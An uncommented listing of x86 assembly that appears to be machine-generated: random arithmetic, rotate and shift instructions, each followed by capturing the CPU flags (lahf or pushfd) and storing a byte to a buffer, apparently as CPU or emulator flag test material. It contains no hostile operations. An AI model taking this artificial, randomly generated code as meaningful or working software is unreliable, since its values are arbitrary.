mov edx, 0x252c230
dec edx
mov edx, 0x999b6e01
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3d050744
mov ecx, 0x507c3d04
ror ebx, cl
mov ebx, 0xf5036a52
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x17bb5d4
mov ebx, 0x4b9863da
add edx, ebx
mov ecx, 0xa71e8e9f
inc ecx
mov eax, 0xdab814fb
mov ecx, 0xd91b9493
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x13ce8a12
mov ecx, 0x90c9e1a5
ror ebx, cl
mov edx, 0xfdea6350
rol edx, 1
mov eax, 0x604290bf
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xa5c1ac5f
mov ecx, 0x36a801d5
rol eax, cl
mov eax, 0xb94a71dd
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x25691d81
add ebx, 0x1bee8199
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa877530
mov ecx, 0xbac66fa4
ror ebx, cl
mov ecx, 0x112008fa
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe43872e4
mov ecx, 0x189b6abd
ror edx, cl
mov eax, 0x294ee745
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7b81f691
mov ecx, 0xcb68fe75
rol eax, cl
mov eax, 0xed5f712a
mov ebx, 0x33acfa14
sub eax, ebx
mov eax, 0xd2d60924
aas
mov eax, 0x4c445237
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd75ea42c
sar edx, 0xc9
mov ecx, 0x585b850a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x77d3d1f9
mov ecx, 0x9dc2965d
rol eax, cl
mov edx, 0xb05d063
add edx, 0x675ab265
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x810de0cc
mov ecx, 0x7fa4c002
ror ebx, cl
mov eax, 0xd2f8710
mov ecx, 0xff0e3add
rol eax, cl
mov eax, 0x917a752f
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x9a11621c
sal eax, 1
mov ebx, 0x7a491caf
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x57fe4c60
dec ecx
mov eax, 0x498c204
mov ecx, 0xfe7bda1c
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6510cc33
mov ecx, 0x1809d50d
add eax, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xdcf6495f
sal eax, 1
mov edx, 0xa1d059dc
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbd94b7ae
mov eax, 0x3da7a2
cmp edx, eax
mov eax, 0xcd7eb4b2
aaa
mov edx, 0xf9f50edd
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5f92f256
mov ecx, 0x611daec8
rol ebx, cl
mov ecx, 0xb1fd50f0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xe3ece576
mov ecx, 0x369fc525
rol ebx, cl
mov ebx, 0x5a9759c1
inc ebx
mov ebx, 0x64250a1b
mov ecx, 0x201ce2f1
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xf2dd55d2
shl edx, 1
mov eax, 0xbe8673fa
shl eax, 1
mov ebx, 0xab2f3950
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf7e66a7b
mov ecx, 0x9641c526
ror eax, cl
mov eax, 0xcb8878b6
shl eax, 1
mov ecx, 0xef079f21
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x531e1449
inc ebx
mov eax, 0x26b89078
mov ecx, 0xd51b5261
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcc9371ab
mov ecx, 0x4d820a45
ror edx, cl
mov ebx, 0xb4e27e81
sal ebx, 1
mov edx, 0x3a9abe9
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x18f472d4
mov ebx, 0x281dc4a1
add ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x69eafc35
mov ecx, 0x3dd59bde
rol ebx, cl
mov eax, 0x4c427c45
rol eax, 1
mov eax, 0x1b6d3c1f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x4423db2b
dec eax
mov ebx, 0x10aad9dc
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xc98650e9
rol edx, 1
mov ebx, 0x48a452ef
mov edx, 0x160d0adc
cmp ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x9b15ff53
mov ecx, 0x1ccc0ffd
ror ebx, cl
mov edx, 0x17cd671d
mov ecx, 0x396428f0
rol edx, cl
mov ebx, 0x63c942f0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa38fbe0a
inc ebx
mov eax, 0xcba1a3f1
mov ecx, 0xc8087622
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x739e77ca
mov ecx, 0x4dd988a7
rol edx, cl
mov eax, 0xa7053670
neg eax
mov ebx, 0xe7f829e3
mov ecx, 0xd35beb8a
rol ebx, cl
mov ebx, 0x4a37e799
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc86e5180
dec ebx
mov edx, 0x7188b507
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe9a09960
mov ecx, 0xb2a30ac9
rol edx, cl
mov edx, 0xd31be770
mov ecx, 0xb92a8647
ror edx, cl
mov edx, 0x87adaa87
add edx, 0xaae2c3d9
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xb43aeb21
mov ecx, 0xff65db1e
rol ebx, cl
mov eax, 0x64c0e8af
inc eax
mov edx, 0x1deedd7f
mov ecx, 0xef69f515
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x72678056
sal eax, 6
mov edx, 0x240d7efd
rol edx, 1
mov eax, 0xa5e2d137
mov ecx, 0x8ead9904
sal eax, cl
mov eax, 0xd43e943c
mov ecx, 0x4cf9541a
rol eax, cl
mov edx, 0x7505d35f
mov ebx, 0x895adc2a
add edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x67f1043f
dec eax
mov eax, 0x24292ee2
mov ecx, 0x8db05282
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdf477ca2
mov ecx, 0xea8607fe
rol edx, cl
mov eax, 0x2912e7cf
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc86a2622
mov ecx, 0x65556c4
ror ebx, cl
mov edx, 0xc5ccf9ba
mov ecx, 0xf3ff8f25
sal edx, cl
mov ecx, 0x72b85eb4
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4893c17d
mov ecx, 0x398270bf
rol edx, cl
mov edx, 0xa8850ff8
mov ecx, 0x39fcfa61
rol edx, cl
mov eax, 0x38e73d8c
rol eax, 1
mov eax, 0xf639925c
mov ecx, 0x1e00fe5c
rol eax, cl
mov eax, 0x6a3a95f2
add eax, 0x16eb9771
mov eax, 0x36c702c8
aas
mov ebx, 0x692e5f8
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x90dbdde9
sar ebx, 0xd9
mov ebx, 0x6e8df7bb
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe9660804
mov edx, 0xa4a75418
add ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x914a0db2
add eax, 0x98bb6688
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x12c62335
sal ebx, 1
mov eax, 0xc9d1b227
mov ecx, 0x20f8f276
sar eax, cl
mov eax, 0x401899a2
mov ecx, 0xf7fb2ba8
ror eax, cl
mov edx, 0xbaf9db41
rol edx, 1
mov edx, 0xc316d9cf
mov ecx, 0xd031126a
ror edx, cl
mov eax, 0x8f388e60
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5713e397
rol edx, 1
mov ecx, 0xf775582e
mov eax, 0x330af4e3
cmp ecx, eax
mov eax, 0x2744440c
aaa
mov eax, 0xe0d19f7f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8a10e855
mov ecx, 0xd909d4dc
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x39e6e913
rol ebx, 1
mov edx, 0xf9cada07
mov ecx, 0xa135a2e3
ror edx, cl
mov ebx, 0x5070a4ef
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x452b859e
rol eax, 1
mov eax, 0x907d33a
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe02c78af
inc eax
mov ebx, 0xd3184350
mov ecx, 0xf6fb9979
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4a73ffaa
mov ecx, 0x96e2e419
ror edx, cl
mov ebx, 0x9b6511e2
mov ecx, 0xac5c4181
rol ebx, cl
mov eax, 0xcfded6ce
sal eax, 0x4e
mov edx, 0x7c8dd440
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x88bc7482
rol ebx, 1
mov eax, 0xca4028c3
mov ecx, 0x31c3749f
ror eax, cl
mov ebx, 0x94ca814a
mov ecx, 0xc835c773
ror ebx, cl
mov eax, 0x7b0437d2
mov ecx, 0xdb17d752
rol eax, cl
mov edx, 0x1b8a4d87
mov ecx, 0x31f5cbc7
ror edx, cl
mov ebx, 0x75e516fb
rol ebx, 1
mov eax, 0x8ee055af
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x59f83d94
mov ecx, 0xcd5b0acd
ror eax, cl
mov edx, 0xe6c2cb1d
mov ecx, 0xc70db049
rol edx, cl
mov eax, 0xb8cf10ca
mov ecx, 0x952eb3af
rol eax, cl
mov ecx, 0x36e16aff
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaa8ca00c
sub edx, 0x75d575a3
mov eax, 0x9a5186b2
aaa
mov ecx, 0x4289757d
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe302d6a5
inc eax
mov edx, 0x977ca556
mov ecx, 0x3e6f754c
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8c67fd27
mov ecx, 0x98266363
ror eax, cl
mov ebx, 0x85fe714b
mov ecx, 0xadb9fbd1
ror ebx, cl
mov ecx, 0xf47bb916
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa6263db
neg ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1b60107e
inc ecx
mov edx, 0x5db6e0e4
mov ecx, 0xb151451c
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8fa7b360
mov ecx, 0xa066771d
sal eax, cl
mov ecx, 0x563ee8b6
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xd3139c50
dec ebx
mov eax, 0x918befcd
mov ecx, 0xab5ab49f
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xa1d6ba8a
cmp ebx, 0x4c572bda
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xfc4131f0
neg ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x6340eea0
cmp ecx, 0xf2797c07
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x830fc9b9
add ebx, 0x8f9c9685
mov edx, 0x865ada92
mov ecx, 0x46057ca5
sal edx, cl
mov edx, 0xc9dc2a3f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xcb6e61cd
sal ebx, 1
mov ebx, 0x34a0d1a0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9c9c41a
sal ebx, 1
mov edx, 0x138116f
inc edx
mov eax, 0x5402a4a1
mov ecx, 0xa14d99ad
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x42863247
mov ecx, 0x57479840
sub edx, ecx
mov edx, 0xda2200b3
mov ecx, 0xebed9b3b
ror edx, cl
mov eax, 0x3c34443f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x11d54226
mov edx, 0xadeaa362
cmp ecx, edx
mov eax, 0xd7b7eb41
aaa
mov ecx, 0x7590481d
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x659aa17a
dec edx
mov ebx, 0xdc434ce9
mov ecx, 0xdf27858
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4e8b6b45
rol edx, 1
mov eax, 0xe985d90
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf3f3d4b0
rol edx, 1
mov eax, 0xf8e5b2f7
rol eax, 1
mov eax, 0x6e0bb034
mov ecx, 0x29da621e
ror eax, cl
mov eax, 0xe23d98f7
mov ecx, 0xe7941706
rol eax, cl
mov ebx, 0xe4df7c88
mov ecx, 0xa77e7fb9
rol ebx, cl
mov eax, 0x8271e5b1
rol eax, 1
mov eax, 0x3ebf0c1a
add eax, 0x198c2d05
mov eax, 0x42781cb0
aas
mov edx, 0x2d8d6bd4
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x9dcb5c8c
mov ecx, 0x409a567e
sar edx, cl
mov eax, 0x48f2389c
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x578f7ba0
mov eax, 0xa1c858d
add edx, eax
mov eax, 0x4f3c73ae
aas
mov ecx, 0x91e60f27
dec ecx
mov edx, 0x2f40e5d9
mov ecx, 0xac3aec7
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf3bae7d
rol edx, 1
mov ebx, 0xd0048ada
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x79a5ee8f
sal eax, 1
mov ecx, 0x85d2aae6
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x92cfaccb
mov ecx, 0x972e9223
sal edx, cl
mov eax, 0x2f4e7b82
rol eax, 1
mov eax, 0xa16812da
mov ecx, 0xcc8b730b
rol eax, cl
mov eax, 0x4cbd0390
aas
mov eax, 0xa60a55bf
mov ecx, 0x567507b9
ror eax, cl
mov ebx, 0x4cd4cef6
sal ebx, 1
mov edx, 0x8b96dd1f
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xedfbd1fe
mov ecx, 0xf38a2ee3
ror ebx, cl
mov eax, 0x4e54b656
mov ecx, 0xa9a7d91f
rol eax, cl
mov edx, 0x2111328f
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf1b04169
sar ebx, 0x50
mov ecx, 0x9ce3923f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc6aa5c8
mov ecx, 0xda558c63
rol eax, cl
mov ecx, 0x9b2fd315
mov edx, 0x953c6ad5
add ecx, edx
mov eax, 0x9540837d
aas
mov eax, 0x226e4000
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb921449d
mov ecx, 0xfb884e7b
ror edx, cl
mov edx, 0x6415c826
mov ecx, 0x69cc0aa9
ror edx, cl
mov edx, 0x687e583f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x64e27281
mov ecx, 0xe9adf471
ror edx, cl
mov ebx, 0xec63474a
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x19eacf47
mov ecx, 0xadd54e68
ror ebx, cl
mov ebx, 0x71c147fc
sal ebx, 1
mov ecx, 0x5154fb47
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xdabdba62
mov ecx, 0x72140cd8
shl edx, cl
mov eax, 0xddfe549a
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xd557ba45
mov ecx, 0xaed6a2ba
ror edx, cl
mov ecx, 0xc840a2d1
dec ecx
mov ebx, 0xa2ca4238
mov ecx, 0x4e358a39
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc7b32d08
dec ebx
mov ebx, 0x2ea5b25b
mov ecx, 0x849c297f
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x1b93d85c
mov edx, 0xb7d0d650
sub ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3301fd59
mov ecx, 0xb0e89c33
rol ebx, cl
mov ecx, 0x4139ffe8
inc ecx
mov ebx, 0xebfba12c
mov ecx, 0x298ab233
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xcb75bdf4
mov ebx, 0x770a88b6
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe74f0262
inc eax
mov eax, 0x7147d38e
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc35ba652
mov ebx, 0x17f83c25
add eax, ebx
mov eax, 0x3d07133a
aas
mov eax, 0x19a0d21c
mov ecx, 0xa2a3f1b3
rol eax, cl
mov ebx, 0xc31ba3a8
mov ecx, 0x692a91a9
rol ebx, cl
mov edx, 0x164807c3
mov ecx, 0x88eb2beb
ror edx, cl
mov eax, 0x9bfda3f
sal eax, 1
mov ebx, 0x72237536
shl ebx, 1
mov ecx, 0x626d4bf
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb5ac457e
sal edx, 1
mov edx, 0xd728d12
cmp edx, 0xa5c3e8f4
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1ced35a2
mov ecx, 0x9f04333f
ror eax, cl
mov edx, 0xe4f724f0
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x6d42329f
inc ebx
mov ebx, 0xf6c1a3a9
mov ecx, 0x2ba85382
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x629f4b86
mov ecx, 0x843e3beb
ror edx, cl
mov ecx, 0x7533ee90
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x7eddcf36
mov ecx, 0x92b4e721
sar ebx, cl
mov eax, 0xac95336f
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x10e466a9
mov ecx, 0x9c77dc70
rol eax, cl
mov eax, 0xe505a895
rol eax, 1
mov eax, 0x91679c0b
rol eax, 1
mov ecx, 0x34807c18
inc ecx
mov ebx, 0x1975f2b3
mov ecx, 0x18ac510c
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x22dae62
mov ecx, 0xd14429a6
rol edx, cl
mov ebx, 0x9f61c1ce
mov ecx, 0x92c87a63
rol ebx, cl
mov ebx, 0x745ef5e9
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x22d1be6d
mov ecx, 0x3df8c385
ror ebx, cl
mov eax, 0x5db19c70
add eax, 0x296404a
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xce6e1466
dec ebx
mov eax, 0xe7d2a7f8
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x326467ee
rol edx, 1
mov ebx, 0xb7322870
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe8fb2ca3
mov ecx, 0xfa8ac763
ror eax, cl
mov eax, 0x965cba7b
sub eax, 0x3d65b597
mov ecx, 0xa9319f52
dec ecx
mov ebx, 0xa76df1f7
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x572564fb
inc ebx
mov eax, 0x40a1ac2f
mov ecx, 0xf108adc8
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x62d9227e
mov ecx, 0xd920c9e2
ror eax, cl
mov edx, 0x9b1021
mov ecx, 0x2caa2f0e
rol edx, cl
mov edx, 0x4075e20c
mov ecx, 0x480a8a59
cmp edx, ecx
mov eax, 0xac27b9b9
mov ecx, 0x5ee65def
ror eax, cl
mov edx, 0x2504300f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbe7a30fc
mov ecx, 0xcaa56532
sal edx, cl
mov eax, 0x48465c88
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xc6a95990
mov ecx, 0x2a30e714
sar edx, cl
mov eax, 0xdc4ae7ec
mov ecx, 0x7db5e89c
ror eax, cl
mov ecx, 0x4f12ed10
dec ecx
mov eax, 0x4a5e4220
mov ecx, 0x4799d967
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7af59e4a
shl ebx, 1
mov edx, 0xafb972cf
inc edx
mov eax, 0x7e0a28ec
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3e5b248f
inc ebx
mov eax, 0xb00d96d7
mov ecx, 0xaa4cd91
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5a82c120
dec edx
mov edx, 0x9cceb17d
mov ecx, 0x9dc926d5
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x3d01a09e
rol eax, 1
mov ebx, 0x738d1765
mov ecx, 0xac24ef75
rol ebx, cl
mov ecx, 0x13cb2cff
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3143077c
mov ecx, 0x96f2d51a
ror eax, cl
mov edx, 0x85bba6e0
neg edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa55a0deb
mov edx, 0x38b7753
cmp ebx, edx
mov eax, 0x8714a8dc
aas
mov eax, 0xb57543ff
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4ba049ba
mov ecx, 0x5ca37d03
sal ebx, cl
mov ecx, 0xb2aa586
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x14016811
mov ecx, 0x75e81b4a
rol eax, cl
mov ecx, 0x8940a45
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x89df3672
mov ecx, 0xc07e905e
ror eax, cl
mov eax, 0xff71ed05
mov ecx, 0x2918a7fb
ror eax, cl
mov ebx, 0xad4ae666
add ebx, 0x84bb33c0
mov eax, 0xc36db72f
aas
mov eax, 0x171ab5e1
mov ecx, 0xf24b7dfc
sub eax, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1393729f
mov ecx, 0x50820b6d
rol eax, cl
mov ebx, 0xb94ae47
sal ebx, 0x14
mov eax, 0x98dfb075
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x96718818
inc eax
mov eax, 0xa2a901e2
mov ecx, 0xf6307053
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5b48c2d4
mov ecx, 0xc1ebb112
ror edx, cl
mov ebx, 0x5d923791
mov ecx, 0x971db438
ror ebx, cl
mov ebx, 0x881961cc
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2678c7f9
mov ecx, 0xfbdbf4cb
ror edx, cl
mov edx, 0xb538cdc
dec edx
mov ebx, 0xa1bcd17b
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6f43d54e
mov ecx, 0xcf2d5f7
ror eax, cl
mov eax, 0x3677148f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x84e67c5
mov ecx, 0x87495031
ror eax, cl
mov eax, 0xb268139e
mov ecx, 0x818b0501
rol eax, cl
mov eax, 0x9703fc26
aaa
mov ebx, 0x51d6940f
mov edx, 0x3c5756f9
cmp ebx, edx
mov edx, 0x441f0bee
sal edx, 1
mov eax, 0x42e75bbc
mov edx, 0xe94d135
cmp eax, edx
mov edx, 0x488e1878
mov ecx, 0xa0898124
shl edx, cl
mov edx, 0x3d95ef6f
rol edx, 1
mov edx, 0x8568d4b8
mov ecx, 0xc08b63e2
shl edx, cl
mov edx, 0x16a4d42a
mov ecx, 0x2137285f
ror edx, cl
mov edx, 0x9115601e
add edx, 0x5c2ac876
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x378a048f
inc edx
mov ebx, 0x36add20d
mov ecx, 0x7c455e4
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3febe1ec
mov ecx, 0x973aa82c
ror ebx, cl
mov edx, 0x251d6996
rol edx, 1
mov eax, 0x3a9a48e0
dec eax
mov edx, 0x666675f7
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdfac769
mov edx, 0x4fab3359
add ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x92343a6
inc eax
mov eax, 0x9c4cbecf
mov ecx, 0x147f73c6
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x5761cf21
rol ebx, 1
mov eax, 0x10e3989b
mov ecx, 0xb112c830
ror eax, cl
mov edx, 0xd1be2551
shl edx, 1
mov eax, 0x15b1f69d
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x168d05d8
rol edx, 1
mov ebx, 0x1aece7c0
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x6d978504
mov ecx, 0x80161bef
ror eax, cl
mov eax, 0x87a2f65b
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xf8a129e9
mov ecx, 0x8908a75b
ror edx, cl
mov eax, 0x4aadf2f
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x3de097cc
mov ebx, 0xc8999810
sub edx, ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xdf10d0da
sub ecx, 0xa093388
mov eax, 0x831a2a90
aas
mov eax, 0x24272853
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xacb1cfb0
sal ebx, 1
mov eax, 0x967acde7
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3659198d
add edx, 0x721e8985
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa6f68b9f
mov ecx, 0x5791fc7e
ror ebx, cl
mov eax, 0x47012653
add eax, 0xb9a6dcdd
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd5396390
dec eax
mov eax, 0xdffb0a70
mov ecx, 0x6d8aeefe
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x9c2e7f67
shl ebx, 0xf4
mov ebx, 0xb96f0355
rol ebx, 1
mov eax, 0xb6d35b44
shl eax, 1
mov ecx, 0xb4daaec8
mov eax, 0x9d0bcd2b
add ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6fd766e5
rol edx, 1
mov eax, 0xa43bae6
add eax, 0xf8c09de4
mov eax, 0xdf4eb794
mov ecx, 0x5a49f68e
ror eax, cl
mov ebx, 0x9818e22
mov ecx, 0xd1681ad7
ror ebx, cl
mov edx, 0x65802121
rol edx, 1
mov edx, 0x1cca2899
shl edx, 0x47
mov edx, 0x1d947faf
inc edx
mov eax, 0x433930ca
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x13c4109f
cmp ebx, 0x52ad9959
mov eax, 0x6ca91b65
aaa
mov eax, 0xd219ce95
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3b5af1e
mov ecx, 0xea4a87e6
cmp eax, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7cee358b
mov ecx, 0x6a69b42c
rol eax, cl
mov edx, 0xb6b4dc67
mov ebx, 0xd2dd750b
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x55aa3121
mov ecx, 0x8095ec1b
ror ebx, cl
mov edx, 0x3774778d
rol edx, 1
mov edx, 0xbc6a5279
rol edx, 1
mov eax, 0x3536ab6f
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x8b2f08da
mov ecx, 0xb50e5f6b
ror ebx, cl
mov edx, 0xb51b8fd1
mov ecx, 0xe32a35f6
ror edx, cl
mov ebx, 0x3e8a7edf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf0735e1e
add ebx, 0x9b30ac61
mov eax, 0x11653dc2
aas
mov eax, 0x5ac7f997
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdbbf187e
rol ebx, 1
mov edx, 0x83b79bc6
rol edx, 1
mov eax, 0x99dd0403
rol eax, 1
mov ebx, 0xda6b778b
sub ebx, 0xc9c89cda
mov eax, 0x9e084bf
aaa
mov ecx, 0xe6096aff
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x82d478a8
mov ecx, 0xe027ea3f
rol eax, cl
mov eax, 0x57c397c0
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x52cace42
mov ecx, 0xbe35de9b
rol edx, cl
mov ecx, 0x1c0f7bfb
cmp ecx, 0xb49ccf11
mov eax, 0x7e88a2d3
aaa
mov ebx, 0x1259e152
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x341beeab
aas
mov edx, 0x28828c81
rol edx, 1
mov eax, 0xb139f6f3
sar eax, 0x7c
mov ebx, 0xe4ead7cf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb8c19e37
mov edx, 0xa8663e4a
add eax, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9ec85cc
rol edx, 1
mov ebx, 0xbcb4b230
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xbf1105b6
shl eax, 0x3e
mov ebx, 0xbce03f29
rol ebx, 1
mov edx, 0x53be472f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2258a5e5
aas
